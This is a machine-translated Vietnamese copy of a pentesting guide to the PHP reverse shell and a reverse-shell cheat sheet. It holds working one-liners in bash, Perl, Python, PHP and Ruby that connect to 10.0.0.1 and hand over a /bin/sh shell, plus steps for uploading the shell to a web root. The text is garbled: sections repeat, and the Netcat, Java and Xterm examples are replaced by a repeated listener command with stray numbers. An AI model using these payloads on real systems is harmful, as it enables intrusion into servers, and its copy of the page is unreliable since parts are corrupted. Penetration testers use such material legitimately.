Hướng dẫn pentestmonkey php reverse - đảo ngược php pentestmonkey

Một thẻ đã tồn tại với tên chi nhánh được cung cấp. Nhiều lệnh GIT chấp nhận cả tên thẻ và tên chi nhánh, vì vậy việc tạo nhánh này có thể gây ra hành vi bất ngờ. Bạn có chắc là bạn muốn tạo chi nhánh này?

Công cụ này được thiết kế cho những tình huống đó trong thời gian Pentest nơi bạn có quyền truy cập tải lên vào máy chủ web mà chạy php. & Nbsp; Tải tập lệnh này lên một nơi nào đó trong Root Web sau đó chạy nó bằng cách truy cập URL thích hợp trong trình duyệt của bạn. & NBSP; Kịch bản sẽ mở kết nối TCP bên ngoài từ máy chủ web đến máy chủ và cổng bạn chọn. & NBSP; Bị ràng buộc với kết nối TCP này sẽ là một vỏ.

Nội phân Chính showShow

  • Đi qua
  • Sửa đổi nguồn
  • Sẵn sàng để bắt vỏ ngược
  • Tải lên và chạy tập lệnh
  • Thưởng thức vỏ mới của bạn
  • Khi nào điều này hữu ích?
  • Có phải là kết nối shell sẽ bị cắt đứt khi máy chủ web hết lần sử dụng tập lệnh PHP?
  • Có phải là một quy trình vỏ trông khá đáng ngờ khi quản trị viên chạy trên PS PS PS?
  • Có phải trang này có sẵn trong Serbo-Croatia không?
  • Đọc thêm

Ngoài ra, hãy kiểm tra một lớp lót đảo ngược của Bernardo. & nbsp; anh ta có một số cách tiếp cận thay thế và không dựa vào /bin /sh cho vỏ đảo ngược ruby ​​của mình.

Có một lớp vỏ ngược được viết bằng Gawk ở đây. & nbsp; Gawk không phải là thứ mà tôi đã từng sử dụng. & nbsp; Tuy nhiên, nó dường như được cài đặt theo mặc định khá thường xuyên, do đó, chính xác là loại Pentesters ngôn ngữ có thể muốn sử dụng cho các vỏ đảo ngược.

php-reverse-shell-1.0.tar.gz

MD5sum:2bdf99cee7b302afdc45d1d51ac7e373

Bash, Cheatsheet, Netcat, Pentest, Perl, PHP, Python, Reverseshell, Ruby, Xterm

Vỏ

Công cụ này được thiết kế cho những tình huống đó trong thời gian Pentest nơi bạn có quyền truy cập tải lên vào máy chủ web mà chạy php. & Nbsp; Tải tập lệnh này lên một nơi nào đó trong Root Web sau đó chạy nó bằng cách truy cập URL thích hợp trong trình duyệt của bạn. & NBSP; Kịch bản sẽ mở kết nối TCP bên ngoài từ máy chủ web đến máy chủ và cổng bạn chọn. & NBSP; Bị ràng buộc với kết nối TCP này sẽ là một vỏ.

Nội phân Chính show

Đi qua

Sửa đổi nguồn

Sẵn sàng để bắt vỏ ngược

$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS

Sẵn sàng để bắt vỏ ngược

Tải lên và chạy tập lệnh

$ nc -v -n -l -p 1234

Tải lên và chạy tập lệnh

Thưởng thức vỏ mới của bạn

http://somesite/php-reverse-shell.php

Thưởng thức vỏ mới của bạn

Khi nào điều này hữu ích?

$ nc -v -n -l -p 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 58012
Linux somehost 2.6.19-gentoo-r5 #1 SMP PREEMPT Sun Apr 1 16:49:38 BST 2007 x86_64 AMD Athlon(tm) 64 X2 Dual Core Processor 4200+ AuthenticAMD GNU/Linux
 16:59:28 up 39 days, 19:54,  2 users,  load average: 0.18, 0.13, 0.10
USER     TTY        [email protected]   IDLE   JCPU   PCPU WHAT
root   :0        19May07 ?xdm?   5:10m  0.01s /bin/sh
uid=81(apache) gid=81(apache) groups=81(apache)
sh: no job control in this shell
sh-3.2$

Câu hỏi thường gặp

Khi nào điều này hữu ích?

Có lẽ các khu vực duy nhất trên đĩa mà bạn có quyền truy cập ghi được gắn với tùy chọn NoExec. & NBSP; Tải lên một chương trình được biên dịch sẽ không được sử dụng trong các tình huống này. & NBSP; Bạn cần sử dụng một ngôn ngữ kịch bản được cài đặt như Python, Perl, PHP, v.v. Có lẽ bạn chỉ có thể bị làm phiền khi tải lên chương trình thứ hai.
Perhaps you just can’t be bothered to upload a second program.

Có phải là kết nối shell sẽ bị cắt đứt khi máy chủ web hết lần sử dụng tập lệnh PHP?

Số & NBSP; Nó dường như không có trên các hệ thống mà tôi đã thử nghiệm nó trên (chỉ cho đến nay, Gentoo Linux). & NBSP; Ngoài ra, tập lệnh PHP cố gắng tự nâng cao và phân tách khỏi quá trình cha để tránh điều này (mặc dù nó hiếm khi hoạt động trong thực tế). & Nbsp; Trình duyệt của bạn sẽ xuất hiện để treo khi bạn truy cập vào vỏ ngược. & NBSP; Điều này là bình thường. & NBSP; Nó rất tốt để nhấn Hủy trong trình duyệt của bạn một khi bạn đã có vỏ của mình.

Có phải là một quy trình vỏ trông khá đáng ngờ khi quản trị viên chạy trên PS PS PS?

Vâng. & Nbsp; Phiên bản này của Shell Reverse rất tinh tế:

apache   28106  0.0  0.0  10428  1216 ?        S    17:15   0:00 sh -c uname -a; w; id; /bin/sh -i
apache   28110  0.0  0.0  10172  1428 ?        S    17:15   0:00 /bin/sh -i

Có phải trang này có sẵn trong Serbo-Croatia không?

Đúng. Cảm ơn Jovana Milutinovich đã dịch.

Hãy cẩn thận

Tường lửa ra ngoài (hay còn gọi là lọc ra) có thể ngăn chặn kết nối vỏ ngược của bạn đến với bạn. & NBSP; Chọn một cổng mà cho phép thông qua tường lửa. & NBSP; Nếu không có, bạn sẽ phải thực hiện với Shell PHP dựa trên biểu mẫu.

Việc triển khai cụ thể này của Shell ngược là dựa trên UNIX. & NBSP; Bạn cần phải sửa đổi nó trước khi nó hoạt động trên Windows.

Tôi đã nhận thấy một vài quá trình zombie trong khi thử nghiệm shell này. & Nbsp; Nó không phải lúc nào cũng xảy ra, nhưng có lẽ được mong đợi vì chúng tôi không tự làm phiền mình đúng.

Pentest, PHP, Reverseshell, công cụ

Vỏ web

Nếu bạn đủ may mắn để tìm thấy một lệnh thực thi lệnh & nbsp; dễ bị tổn thương & nbsp; trong quá trình kiểm tra thâm nhập, ngay sau đó, bạn có thể muốn có một vỏ tương tác.

Nếu nó không thể thêm một tệp tài khoản mới / phím SSH /. & nbsp; trang này liên quan đến trước đây.

Các tùy chọn của bạn để tạo vỏ ngược bị giới hạn bởi các ngôn ngữ kịch bản được cài đặt trên hệ thống đích - mặc dù bạn có thể tải lên một chương trình nhị phân nếu bạn chuẩn bị tốt.

Các ví dụ được hiển thị được thiết kế phù hợp với các hệ thống giống như UNIX. & nbsp; Một số ví dụ dưới đây cũng nên hoạt động trên Windows nếu bạn sử dụng thay thế//bin/sh -iiêu với CMD.exe.

Mỗi phương pháp dưới đây nhằm mục đích trở thành một lớp lót mà bạn có thể sao chép/dán. & nbsp; như vậy họ là những dòng khá ngắn, nhưng không thể đọc được lắm.

Bash

Một số phiên bản Bash có thể gửi cho bạn một vỏ ngược (điều này đã được kiểm tra trên Ubuntu 10.10):

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

Perl

Dưới đây, một phiên bản ngắn hơn, miễn phí của Perl-Reverse-Shell:

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Ngoài ra còn có một & nbsp; thay thế Perl Revere Shell ở đây.

Python

Điều này đã được thử nghiệm trong Linux / Python 2.7:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

PHP

Mã này giả định rằng kết nối TCP sử dụng bộ mô tả tệp 3. & nbsp; Điều này hoạt động trên hệ thống thử nghiệm của tôi. & nbsp; Nếu nó không hoạt động, hãy thử 4, 5, 6…

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

Nếu bạn muốn một tệp .PhP để tải lên, hãy xem phần chuyển đổi Php-Rerseverse có tính năng và mạnh mẽ hơn.

Ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat

Netcat hiếm khi có mặt trên các hệ thống sản xuất và ngay cả khi nó có một số phiên bản của Netcat, một số trong đó don don hỗ trợ tùy chọn -E.

$ nc -v -n -l -p 1234
0

Nếu bạn đã cài đặt phiên bản NetCAT sai, Jeff Price chỉ ra ở đây rằng bạn vẫn có thể lấy lại vỏ ngược như thế này:

$ nc -v -n -l -p 1234
1

Java

$ nc -v -n -l -p 1234
2

[Đệ trình chưa được kiểm tra từ đầu đọc ẩn danh]

Xterm

Một trong những hình thức đơn giản nhất của Shell Reverse là phiên Xterm. & nbsp; lệnh sau nên được chạy trên máy chủ. & nbsp; nó sẽ cố gắng kết nối lại với bạn (10.0.0.1) trên cổng TCP 6001.

$ nc -v -n -l -p 1234
3

Để bắt Xterm đến, hãy bắt đầu một máy chủ X (: 1-lắng nghe trên cổng TCP 6001). & nbsp; Một cách để làm điều này là với xnest (sẽ được chạy trên hệ thống của bạn):

$ nc -v -n -l -p 1234
4

Bạn cần phải ủy quyền cho mục tiêu kết nối với bạn (lệnh cũng chạy trên máy chủ của bạn):

$ nc -v -n -l -p 1234
5

Đọc thêm

Ngoài ra, hãy kiểm tra một lớp lót đảo ngược của Bernardo. & nbsp; anh ta có một số cách tiếp cận thay thế và không dựa vào /bin /sh cho vỏ đảo ngược ruby ​​của mình.

Có một lớp vỏ ngược được viết bằng Gawk ở đây. & nbsp; Gawk không phải là thứ mà tôi đã từng sử dụng. & nbsp; Tuy nhiên, nó dường như được cài đặt theo mặc định khá thường xuyên, do đó, chính xác là loại Pentesters ngôn ngữ có thể muốn sử dụng cho các vỏ đảo ngược.

Bash, Cheatsheet, Netcat, Pentest, Perl, PHP, Python, Reverseshell, Ruby, Xterm

Vỏ